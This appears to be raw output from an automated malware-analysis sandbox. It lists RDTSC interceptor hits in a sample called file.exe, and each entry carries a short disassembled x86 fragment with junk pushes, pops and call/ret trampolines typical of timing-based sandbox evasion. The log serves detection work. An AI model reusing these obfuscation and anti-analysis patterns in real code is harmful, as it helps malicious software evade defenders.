Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF58E7 second address: EF58EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5951 second address: EF5957 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF59AC second address: EF59BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5C49 second address: EF5C4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5E03 second address: EF5E08 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5E08 second address: EF5E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FC220745DF8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 mov dword ptr [ebp+122D1B79h], ebx 0x0000002c jmp 00007FC220745E00h 0x00000031 mov dword ptr [ebp+124474C8h], ebx 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a push eax 0x0000003b push edx 0x0000003c jmp 00007FC220745E07h 0x00000041 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF5E71 second address: EF5E77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF630E second address: EF6317 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6317 second address: EF631B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF631B second address: EF6330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 ja 00007FC220745DF8h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6330 second address: EF6334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF6334 second address: EF639E instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC220745DF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c clc 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ecx 0x00000012 call 00007FC220745DF8h 0x00000017 pop ecx 0x00000018 mov dword ptr [esp+04h], ecx 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc ecx 0x00000025 push ecx 0x00000026 ret 0x00000027 pop ecx 0x00000028 ret 0x00000029 push 00000000h 0x0000002b push 00000000h 0x0000002d push eax 0x0000002e call 00007FC220745DF8h 0x00000033 pop eax 0x00000034 mov dword ptr [esp+04h], eax 0x00000038 add dword ptr [esp+04h], 00000016h 0x00000040 inc eax 0x00000041 push eax 0x00000042 ret 0x00000043 pop eax 0x00000044 ret 0x00000045 je 00007FC220745DFCh 0x0000004b mov esi, dword ptr [ebp+122D29C6h] 0x00000051 xchg eax, ebx 0x00000052 pushad 0x00000053 push eax 0x00000054 push edx 0x00000055 jnc 00007FC220745DF6h 0x0000005b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF639E second address: EF63D5 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007FC221A94B31h 0x00000010 jmp 00007FC221A94B2Bh 0x00000015 popad 0x00000016 push eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC221A94B38h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7C4F second address: EF7C53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF7C53 second address: EF7C57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF865A second address: EF86AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jmp 00007FC220745DFFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [esp], eax 0x00000010 sub dword ptr [ebp+1244C01Ch], edx 0x00000016 xor dword ptr [ebp+1244C53Ah], edi 0x0000001c push 00000000h 0x0000001e mov edi, 550610D3h 0x00000023 push 00000000h 0x00000025 mov dword ptr [ebp+124449ABh], edi 0x0000002b xchg eax, ebx 0x0000002c push ebx 0x0000002d jmp 00007FC220745E06h 0x00000032 pop ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF86AE second address: EF86B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF91C6 second address: EF91E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF91E3 second address: EF91E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EF8F20 second address: EF8F45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jns 00007FC220745DFCh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBB33 second address: EFBB37 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBB37 second address: EFBB45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EFBB45 second address: EFBB4F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F00C83 second address: F00C88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC494 second address: EAC498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAC498 second address: EAC4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F04240 second address: F0428F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007FC221A94B32h 0x0000000c popad 0x0000000d mov dword ptr [esp], eax 0x00000010 mov edi, dword ptr [ebp+122D1AAFh] 0x00000016 push 00000000h 0x00000018 mov bh, F0h 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push eax 0x0000001f call 00007FC221A94B28h 0x00000024 pop eax 0x00000025 mov dword ptr [esp+04h], eax 0x00000029 add dword ptr [esp+04h], 00000014h 0x00000031 inc eax 0x00000032 push eax 0x00000033 ret 0x00000034 pop eax 0x00000035 ret 0x00000036 xchg eax, esi 0x00000037 push ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a jl 00007FC221A94B26h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F050A7 second address: F050AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0613B second address: F0613F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F062DF second address: F062EA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jbe 00007FC220745DF6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0809B second address: F080A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F080A0 second address: F080F4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FC220745DFCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d xor ebx, dword ptr [ebp+122D1B0Fh] 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push esi 0x00000018 call 00007FC220745DF8h 0x0000001d pop esi 0x0000001e mov dword ptr [esp+04h], esi 0x00000022 add dword ptr [esp+04h], 0000001Ch 0x0000002a inc esi 0x0000002b push esi 0x0000002c ret 0x0000002d pop esi 0x0000002e ret 0x0000002f mov edi, dword ptr [ebp+122D2B3Eh] 0x00000035 push 00000000h 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a pushad 0x0000003b push esi 0x0000003c pop esi 0x0000003d je 00007FC220745DF6h 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F07256 second address: F0725A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09135 second address: F09139 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09139 second address: F0913F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0913F second address: F09149 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FC220745DF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F09149 second address: F091C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B33h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FC221A94B28h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 clc 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push edx 0x0000002c call 00007FC221A94B28h 0x00000031 pop edx 0x00000032 mov dword ptr [esp+04h], edx 0x00000036 add dword ptr [esp+04h], 00000019h 0x0000003e inc edx 0x0000003f push edx 0x00000040 ret 0x00000041 pop edx 0x00000042 ret 0x00000043 push 00000000h 0x00000045 jmp 00007FC221A94B39h 0x0000004a xchg eax, esi 0x0000004b push ebx 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F091C5 second address: F091C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F091C9 second address: F091EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC221A94B39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F091EF second address: F091F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F08349 second address: F0834D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B2B3 second address: F0B310 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jne 00007FC220745DFEh 0x0000000c nop 0x0000000d call 00007FC220745E01h 0x00000012 mov edi, dword ptr [ebp+122D2832h] 0x00000018 pop edi 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c mov ebx, edi 0x0000001e pop ebx 0x0000001f push 00000000h 0x00000021 xor dword ptr [ebp+122D19CAh], eax 0x00000027 xchg eax, esi 0x00000028 push eax 0x00000029 push ebx 0x0000002a pushad 0x0000002b popad 0x0000002c pop ebx 0x0000002d pop eax 0x0000002e push eax 0x0000002f push eax 0x00000030 push edx 0x00000031 jng 00007FC220745E08h 0x00000037 jmp 00007FC220745E02h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0C243 second address: F0C29D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop eax 0x0000000a popad 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007FC221A94B28h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 push edx 0x00000027 add bx, 951Dh 0x0000002c pop ebx 0x0000002d push 00000000h 0x0000002f mov dword ptr [ebp+124449ABh], eax 0x00000035 push 00000000h 0x00000037 call 00007FC221A94B31h 0x0000003c push eax 0x0000003d xor bh, 00000054h 0x00000040 pop edi 0x00000041 pop ebx 0x00000042 push eax 0x00000043 pushad 0x00000044 push eax 0x00000045 push edx 0x00000046 push ecx 0x00000047 pop ecx 0x00000048 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0B4D3 second address: F0B4F1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b jmp 00007FC220745DFFh 0x00000010 pop ebx 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E2E4 second address: F0E301 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnc 00007FC221A94B33h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0E301 second address: F0E30F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC220745DFAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0D5F8 second address: F0D60E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC221A94B31h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F59A second address: F0F5A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F0F5A0 second address: F0F646 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D273Fh], eax 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push edi 0x0000001b call 00007FC221A94B28h 0x00000020 pop edi 0x00000021 mov dword ptr [esp+04h], edi 0x00000025 add dword ptr [esp+04h], 0000001Bh 0x0000002d inc edi 0x0000002e push edi 0x0000002f ret 0x00000030 pop edi 0x00000031 ret 0x00000032 mov bx, di 0x00000035 sub dword ptr [ebp+122D35A9h], ebx 0x0000003b mov dword ptr fs:[00000000h], esp 0x00000042 xor di, 3000h 0x00000047 mov eax, dword ptr [ebp+122D1519h] 0x0000004d mov dword ptr [ebp+122D1B79h], ebx 0x00000053 jnp 00007FC221A94B2Ch 0x00000059 push FFFFFFFFh 0x0000005b push 00000000h 0x0000005d push ebx 0x0000005e call 00007FC221A94B28h 0x00000063 pop ebx 0x00000064 mov dword ptr [esp+04h], ebx 0x00000068 add dword ptr [esp+04h], 0000001Bh 0x00000070 inc ebx 0x00000071 push ebx 0x00000072 ret 0x00000073 pop ebx 0x00000074 ret 0x00000075 movsx ebx, dx 0x00000078 push eax 0x00000079 pushad 0x0000007a ja 00007FC221A94B2Ch 0x00000080 jo 00007FC221A94B2Ch 0x00000086 push eax 0x00000087 push edx 0x00000088 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F14551 second address: F14555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F14555 second address: F14571 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC221A94B2Ch 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19D37 second address: F19D3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F19D3F second address: F19D43 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F20893 second address: F208AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 jno 00007FC220745DF8h 0x0000000e push eax 0x0000000f push edx 0x00000010 ja 00007FC220745DF6h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F208AB second address: F208C7 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FC221A94B26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FC221A94B2Ah 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F208C7 second address: F208CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F208CB second address: F208EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 pop edx 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FC221A94B32h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F208EE second address: F208F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24262 second address: F24269 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24269 second address: F24285 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC220745E06h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24285 second address: F24289 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24787 second address: F2478B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2478B second address: F247A6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FC221A94B31h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F247A6 second address: F247CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007FC220745DFDh 0x00000011 pop eax 0x00000012 push ebx 0x00000013 pushad 0x00000014 popad 0x00000015 jo 00007FC220745DF6h 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A8B second address: F24A97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A97 second address: F24A9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24A9B second address: F24AB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC221A94B2Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24E9C second address: F24EE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 jmp 00007FC220745E06h 0x0000000c pushad 0x0000000d popad 0x0000000e pop ecx 0x0000000f push edi 0x00000010 ja 00007FC220745DF6h 0x00000016 jo 00007FC220745DF6h 0x0000001c pop edi 0x0000001d jl 00007FC220745DFAh 0x00000023 push eax 0x00000024 pop eax 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b pushad 0x0000002c popad 0x0000002d pushad 0x0000002e popad 0x0000002f pop eax 0x00000030 pushad 0x00000031 push edx 0x00000032 pop edx 0x00000033 pushad 0x00000034 popad 0x00000035 jnp 00007FC220745DF6h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24EE9 second address: F24EEF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24EEF second address: F24EF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F24EF5 second address: F24EF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F1046B second address: F10475 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007FC220745DF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E104 second address: F2E108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E427 second address: F2E43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop esi 0x00000006 pushad 0x00000007 jmp 00007FC220745DFCh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E43E second address: F2E444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E444 second address: F2E448 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2E5B3 second address: F2E5B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DB80 second address: F2DB8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DB8A second address: F2DB95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: F2DB95 second address: F2DB99 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
